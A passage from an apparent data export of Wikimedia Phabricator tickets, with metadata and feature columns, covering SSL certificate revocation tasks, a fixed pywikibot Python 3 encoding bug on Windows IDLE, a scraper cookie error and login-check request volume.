+",Needs Triage,90.0,1425960419,1425961105.0,PHID-USER-iedamnrw3opyzyxhmker,False,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-TASK-w4fpxbuabu6m5ycow7yb,task_description,duplicate,True,c3,1,False,False,True,-17,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+92045,revoke / delete etherpad.wikimedia.org SSL cert,"this is a ticket to revoke the SSL cert:
+
+etherpad.wikimedia.org
+
+- revoke with the CA / vendor
+- ~~delete cert from public repo~~ https://gerrit.wikimedia.org/r/#/c/195303/
+- ~~delete the matching .key from private repo~~ done by dzahn
+- ~~rm/shred cert and key on servers it is installed on~~ done by dzahn
+
+(once RobH commented on https://gerrit.wikimedia.org/r/#/c/164001/
+
+""anytime we delete a certificate, please make an independent core-ops ticket to invalidate the certificate on the provider level, and assign said ticket to me."") 
+
+ so this is intended to include that and the other steps, i will strike out what i have done. ",Needs Triage,90.0,1425943590,1426093996.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-nyjfnvmn3evtuishqhgb,task_description,resolved,True,c3,1,True,False,True,-17,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,0,0,0
+424623,revoke / delete etherpad.wikimedia.org SSL cert,confirmed cert revoked from rapidssl.  resolving task.,,,1426093996,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-nyjfnvmn3evtuishqhgb,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+424578,revoke / delete etherpad.wikimedia.org SSL cert,"Change 195303 merged by Dzahn:
+delete etherpad SSL cert
+
+[[https://gerrit.wikimedia.org/r/195303]]",,,1426090033,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nyjfnvmn3evtuishqhgb,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+423518,revoke / delete etherpad.wikimedia.org SSL cert,"Change 195303 had a related patch set uploaded (by Dzahn):
+delete etherpad SSL cert
+
+[[https://gerrit.wikimedia.org/r/195303]]
+",,,1425943758,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nyjfnvmn3evtuishqhgb,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+92041,revoke/delete bugzilla ssl certs,"this is a ticket to revoke the SSL cert:
+
+bugzilla.wikimedia.org
+bug-attachment.wikimedia.org
+
+- revoke with the CA / vendor
+- ~~delete cert from public repo~~ https://gerrit.wikimedia.org/r/#/c/195307/ , https://gerrit.wikimedia.org/r/#/c/195804/
+- ~~delete the matching .key from private repo~~ done by dzahn
+- ~~rm/shred cert and key on servers it is installed on~~ done by dzahn
+
+(once RobH commented on https://gerrit.wikimedia.org/r/#/c/164001/
+
+""anytime we delete a certificate, please make an independent core-ops ticket to invalidate the certificate on the provider level, and assign said ticket to me."") 
+
+ so this is intended to include that and the other steps, i will strike out what i have done. ",Needs Triage,90.0,1425943168,1426094541.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-obn6jccjdmq62xb6va4c,task_description,resolved,True,c3,1,True,False,True,-17,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,0,0,0
+424630,revoke/delete bugzilla ssl certs,"certs revoked from rapidssl: bugzilla.wikimedia.org
+bug-attachment.wikimedia.org
+
+resolving task",,,1426094541,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-obn6jccjdmq62xb6va4c,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+92021,revoke/delete SSL cert techblog.wikimedia.org,"this is a ticket to revoke the SSL cert:
+
+techblog.wikimedia.org
+
+- revoke with the CA / vendor
+- ~~delete cert from public repo~~ (done, https://gerrit.wikimedia.org/r/#/c/195308/)
+- ~~delete the matching .key from private repo~~ (done by dzahn)
+- ~~rm/shred cert and key on servers it is installed on~~ (server was already gone)
+
+(once RobH commented on https://gerrit.wikimedia.org/r/#/c/164001/
+
+""anytime we delete a certificate, please make an independent core-ops ticket to invalidate the certificate on the provider level, and assign said ticket to me."") 
+
+ so this is intended to include that and the other steps, i will strike out what i have done. ",Needs Triage,90.0,1425936734,1426097336.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-5nf526l6xjdlkrkb3el5,task_description,resolved,True,c3,1,True,False,True,-17,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,0,0,0
+424689,revoke/delete SSL cert techblog.wikimedia.org,techblog.wikimedia.org certificate revoked from rapidssl,,,1426097336,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-5nf526l6xjdlkrkb3el5,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+423421,revoke/delete SSL cert techblog.wikimedia.org,"Change 195308 merged by Dzahn:
+delete techblog.wm blog SSL cert
+
+[[https://gerrit.wikimedia.org/r/195308]]",,,1425936941,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5nf526l6xjdlkrkb3el5,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+423417,revoke/delete SSL cert techblog.wikimedia.org,"Change 195308 had a related patch set uploaded (by Dzahn):
+delete techblog.wm blog SSL cert
+
+[[https://gerrit.wikimedia.org/r/195308]]
+",,,1425936774,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5nf526l6xjdlkrkb3el5,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+91921,"Can't login. TypeError: must be str, not bytes.","Python 3.4.3 win32 while using IDLE and an up-to-date version of pywikibot:
+```
+>>> import pywikibot as pwb
+>>> pwb.Site('fa').login()
+Traceback (most recent call last):
+  File ""<pyshell#1>"", line 1, in <module>
+    pwb.Site('fa').login()
+  File ""E:\core\pywikibot\site.py"", line 1676, in login
+    if loginMan.login(retry=True):
+  File ""E:\core\pywikibot\login.py"", line 232, in login
+    password=True)
+  File ""E:\core\pywikibot\bot.py"", line 540, in input
+    data = ui.input(question, password)
+  File ""E:\core\pywikibot\userinterfaces\terminal_interface_base.py"", line 212, in input
+    self.output(question + ' ')
+  File ""E:\core\pywikibot\userinterfaces\terminal_interface_base.py"", line 191, in output
+    self._print(text, targetStream)
+  File ""E:\core\pywikibot\userinterfaces\terminal_interface_base.py"", line 132, in _print
+    self.printColorized(text, targetStream)
+  File ""E:\core\pywikibot\userinterfaces\terminal_interface_win32.py"", line 91, in printColorized
+    targetStream.write(text.encode(self.encoding, 'replace'))
+  File ""C:\Python34\lib\idlelib\PyShell.py"", line 1344, in write
+    raise TypeError('must be str, not ' + type(s).__name__)
+TypeError: must be str, not bytes
+>>> 
+```",Needs Triage,90.0,1425790237,1430608308.0,PHID-USER-6kchhu3kcxl7qwdhhfpd,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_description,resolved,True,c3,1,False,False,True,-17,True,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1
+452938,"Can't login. TypeError: must be str, not bytes.",Appears to be resolved.,,,1430608308,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,True,,,-9,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+422908,"Can't login. TypeError: must be str, not bytes.",Okay both patches have been merged… We'll see if now other Windows users without IDLE complain. By the way you don't need to be sorry ;) mistakes happen and in the end it worked \o/,,,1425839646,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+422901,"Can't login. TypeError: must be str, not bytes.","Change 195086 merged by jenkins-bot:
+[FIX] Win32 UI: Don't encode in Python 3
+
+[[https://gerrit.wikimedia.org/r/195086]]",,,1425836874,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+422882,"Can't login. TypeError: must be str, not bytes.","I don't know, probably my mistake in applying the patch. Sorry about that. Anyway I reapplied both of your patches and now everything is OK. Both log-in and page saving were done without a single error. Thanks XZise!",,,1425829551,,PHID-USER-6kchhu3kcxl7qwdhhfpd,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,False,,,-17,True,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+422876,"Can't login. TypeError: must be str, not bytes.","This seems like the exact same error message. But I'm confused, line 99 in `pywikibot.userinterfaces.terminal_interface_win32` does not have the line shown in the stack trace. Neither in the most current version or one of the revisions of my patch.
+
+By the way https://gerrit.wikimedia.org/r/195089 might fix the message with the UnsupportedOperation error (which afaik unrelated to the warning above. Unfortunately can't really test it :(",,,1425828173,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,1,0
+422874,"Can't login. TypeError: must be str, not bytes.","Sorry, It seems that I missed this -- seemingly related -- exception when importing pywikibot:
+
+```
+>>> import sys
+>>> sys.path.append('c:/core')
+>>> import pywikibot as pwb
+WARNING: Running on Windows and transliteration_target is not set.
+Please see https://www.mediawiki.org/wiki/Special:MyLanguage/Manual:Pywikibot/Windows
+exception UnsupportedOperation('fileno',) while fixing up sys.stdout and sys.stderr
+```
+
+@Sitic: It works fine in command prompt.
+
+@XZise: I applied the patch and now it logs in successfully. But still got the following error when trying to save a test edit:
+
+```
+>>> p= pwb.Page(pwb.Site('fa'), 'ویکی‌پدیا:صفحه تمرین')
+>>> p.put('تمرين', ' ')
+Page [[fa:وyکy‌پدyا:صفحه تمرyن]] saved
+Traceback (most recent call last):
+  File ""<pyshell#12>"", line 1, in <module>
+    p.put('تمرين', ' ')
+  File ""c:/core\pywikibot\page.py"", line 1117, in put
+    **kwargs)
+  File ""c:/core\pywikibot\tools\__init__.py"", line 930, in wrapper
+    return obj(*__args, **__kw)
+  File ""c:/core\pywikibot\page.py"", line 1036, in save
+    **kwargs)
+  File ""c:/core\pywikibot\page.py"", line 1052, in _save
+    pywikibot.output(u""Page %s saved"" % link)
+  File ""c:/core\pywikibot\bot.py"", line 457, in output
+    logoutput(text, decoder, newline, INFO, **kwargs)
+  File ""c:/core\pywikibot\bot.py"", line 427, in logoutput
+    logger.log(_level, text, extra=context, **kwargs)
+  File ""C:\Python34\lib\logging\__init__.py"", line 1341, in log
+    self._log(level, msg, args, **kwargs)
+  File ""C:\Python34\lib\logging\__init__.py"", line 1409, in _log
+    self.handle(record)
+  File ""C:\Python34\lib\logging\__init__.py"", line 1419, in handle
+    self.callHandlers(record)
+  File ""C:\Python34\lib\logging\__init__.py"", line 1481, in callHandlers
+    hdlr.handle(record)
+  File ""C:\Python34\lib\logging\__init__.py"", line 853, in handle
+    self.emit(record)
+  File ""c:/core\pywikibot\userinterfaces\terminal_interface_base.py"", line 434, in emit
+    return self.UI.output(text, targetStream=self.stream)
+  File ""c:/core\pywikibot\userinterfaces\terminal_interface_base.py"", line 191, in output
+    self._print(text, targetStream)
+  File ""c:/core\pywikibot\userinterfaces\terminal_interface_base.py"", line 132, in _print
+    self.printColorized(text, targetStream)
+  File ""c:/core\pywikibot\userinterfaces\terminal_interface_win32.py"", line 99, in printColorized
+    targetStream.write(text.encode(self.encoding, 'replace'))
+  File ""C:\Python34\lib\idlelib\PyShell.py"", line 1344, in write
+    raise TypeError('must be str, not ' + type(s).__name__)
+TypeError: must be str, not bytes
+>>> 
+```
+(Although the edit was saved.)
+Should I open another task for that?",,,1425828036,,PHID-USER-6kchhu3kcxl7qwdhhfpd,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,1,1
+422872,"Can't login. TypeError: must be str, not bytes.","Sorry, It seems that I missed this -- seemingly related -- warning message when importing pywikibot:
+
+```
+>>> import sys
+>>> sys.path.append('c:/core')
+>>> import pywikibot as pwb
+WARNING: Running on Windows and transliteration_target is not set.
+Please see https://www.mediawiki.org/wiki/Special:MyLanguage/Manual:Pywikibot/Windows
+exception UnsupportedOperation('fileno',) while fixing up sys.stdout and sys.stderr
+```
+
+@Sitic: It works fine in command prompt.
+
+@XZise: I applied the patch and now it logs in successfully. But still got the following error when trying to save a test edit:
+
+```
+>>> p= pwb.Page(pwb.Site('fa'), 'ویکی‌پدیا:صفحه تمرین')
+>>> p.put('تمرين', ' ')
+Page [[fa:وyکy‌پدyا:صفحه تمرyن]] saved
+Traceback (most recent call last):
+  File ""<pyshell#12>"", line 1, in <module>
+    p.put('تمرين', ' ')
+  File ""c:/core\pywikibot\page.py"", line 1117, in put
+    **kwargs)
+  File ""c:/core\pywikibot\tools\__init__.py"", line 930, in wrapper
+    return obj(*__args, **__kw)
+  File ""c:/core\pywikibot\page.py"", line 1036, in save
+    **kwargs)
+  File ""c:/core\pywikibot\page.py"", line 1052, in _save
+    pywikibot.output(u""Page %s saved"" % link)
+  File ""c:/core\pywikibot\bot.py"", line 457, in output
+    logoutput(text, decoder, newline, INFO, **kwargs)
+  File ""c:/core\pywikibot\bot.py"", line 427, in logoutput
+    logger.log(_level, text, extra=context, **kwargs)
+  File ""C:\Python34\lib\logging\__init__.py"", line 1341, in log
+    self._log(level, msg, args, **kwargs)
+  File ""C:\Python34\lib\logging\__init__.py"", line 1409, in _log
+    self.handle(record)
+  File ""C:\Python34\lib\logging\__init__.py"", line 1419, in handle
+    self.callHandlers(record)
+  File ""C:\Python34\lib\logging\__init__.py"", line 1481, in callHandlers
+    hdlr.handle(record)
+  File ""C:\Python34\lib\logging\__init__.py"", line 853, in handle
+    self.emit(record)
+  File ""c:/core\pywikibot\userinterfaces\terminal_interface_base.py"", line 434, in emit
+    return self.UI.output(text, targetStream=self.stream)
+  File ""c:/core\pywikibot\userinterfaces\terminal_interface_base.py"", line 191, in output
+    self._print(text, targetStream)
+  File ""c:/core\pywikibot\userinterfaces\terminal_interface_base.py"", line 132, in _print
+    self.printColorized(text, targetStream)
+  File ""c:/core\pywikibot\userinterfaces\terminal_interface_win32.py"", line 99, in printColorized
+    targetStream.write(text.encode(self.encoding, 'replace'))
+  File ""C:\Python34\lib\idlelib\PyShell.py"", line 1344, in write
+    raise TypeError('must be str, not ' + type(s).__name__)
+TypeError: must be str, not bytes
+>>> 
+```
+(Although the edit was saved.)
+Should I open another task for that?",,,1425827697,,PHID-USER-6kchhu3kcxl7qwdhhfpd,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,1,1
+422868,"Can't login. TypeError: must be str, not bytes.",This might be interesting: https://mail.python.org/pipermail/python-list/2014-November/693894.html,,,1425827253,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+422867,"Can't login. TypeError: must be str, not bytes.",Oh I usually look at the end of a stack trace and work my way up… overlooked the first line. That error might be related but only in a sense that Python 3 changed how `str` works. Unfortunately that error line isn't really helpful (except that it occurred somewhere else).,,,1425826573,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+422865,"Can't login. TypeError: must be str, not bytes.","So the 
+```
+exception UnsupportedOperation('fileno',) while fixing up sys.stdout and sys.stderr
+```
+from the report I linked is unrelated? I was wondering about that (but also misread one of them as stdin).
+
+I didn't want to say there that Python 3 support is ""partial"", but rather that the support for is isn't as matured/in longtime use as for 2.7.
+
+
+",,,1425826208,,PHID-USER-5ykrdpd74vetqapogso4,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0,0
+422859,"Can't login. TypeError: must be str, not bytes.","Change 195086 had a related patch set uploaded (by XZise):
+[FIX] Win32 UI: Don't encode in Python 3
+
+[[https://gerrit.wikimedia.org/r/195086]]
+",,,1425825041,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+422858,"Can't login. TypeError: must be str, not bytes.","With Python 3 the `sys.stdout` etc. streams are now using `str` (which is basically `unicode` in Python 2). But in Python 2 it requires `bytes` so it's encoding the string as UTF-8 bytes.
+
+Now the Unicode support in Windows is always a bit problematic. I don't have a Windows OS available at the moment to test that quickly, but one way to fix it would be not to encode it. I'll provide a patch shortly and would appreciate if you test it (especially with non ASCII characters).
+
+Apart from that (referencing to the discussion @Sitic linked to) I don't think that Python 3 is only partially supported. I basically only use it with Python 3.4.2 and got not problems (but on Linux so I can't encounter this particular bug).",,,1425824807,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,1,1,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+422855,"Can't login. TypeError: must be str, not bytes.","Was also reported [here](https://de.wikipedia.org/wiki/Wikipedia_Diskussion:Pywikibot#Probleme_beim_Betrieb_des_bots).
+
+@Dalba could you try using the command prompt instead of IDLE?",,,1425824334,,PHID-USER-5ykrdpd74vetqapogso4,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1
+91875,Http error encountered when scraping http://www.tandfonline.com/ urls with native scraper,"HTTP error with message ""unable to set cookie"" in response when trying to scrape http://www.tandfonline.com/ urls (like http://www.tandfonline.com/doi/abs/10.1080/13534645.2011.605573) with native scraper.",Needs Triage,90.0,1425730473,1433150952.0,PHID-USER-evd3wnvnlb66lrwulch4,False,PHID-USER-evd3wnvnlb66lrwulch4,False,PHID-TASK-f5zxuc36v5wjc5xzmiif,task_description,resolved,True,c3,1,True,True,True,-17,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0
+91196,Reduce calls to Special:CentralAutoLogin/checkLoggedIn,"In an ideal world, unregistered users wouldn't need to load Special:CentralAutoLogin/checkLoggedIn on every single page view (e.g. `https://login.wikimedia.org/wiki/Special:CentralAutoLogin/checkLoggedIn?type=script&wikiid=itwikiquote&proto=https`). ",Needs Triage,90.0,1425226974,1544417535.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-darr4v3zykotx2hsi5bu,task_description,duplicate,True,c3,1,True,False,False,-18,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+419123,Reduce calls to Special:CentralAutoLogin/checkLoggedIn,Alright... whoever can provide such numbers...,,,1425301666,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-darr4v3zykotx2hsi5bu,task_subcomment,,True,c3,1,True,,,-18,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0
+419106,Reduce calls to Special:CentralAutoLogin/checkLoggedIn,"Before declaring a priority for this, I'd like to hear some numbers for how many requests this is currently generating. Doesn't need to be an exact figure.",,,1425295732,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-darr4v3zykotx2hsi5bu,task_subcomment,,True,c3,1,True,,,-18,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+91085,Login page should show collection specific message,"When not logged in and the user clicks login / sign up through the CTA they see a message above the login ""Add articles to a list for sharing or tracking changes""
+
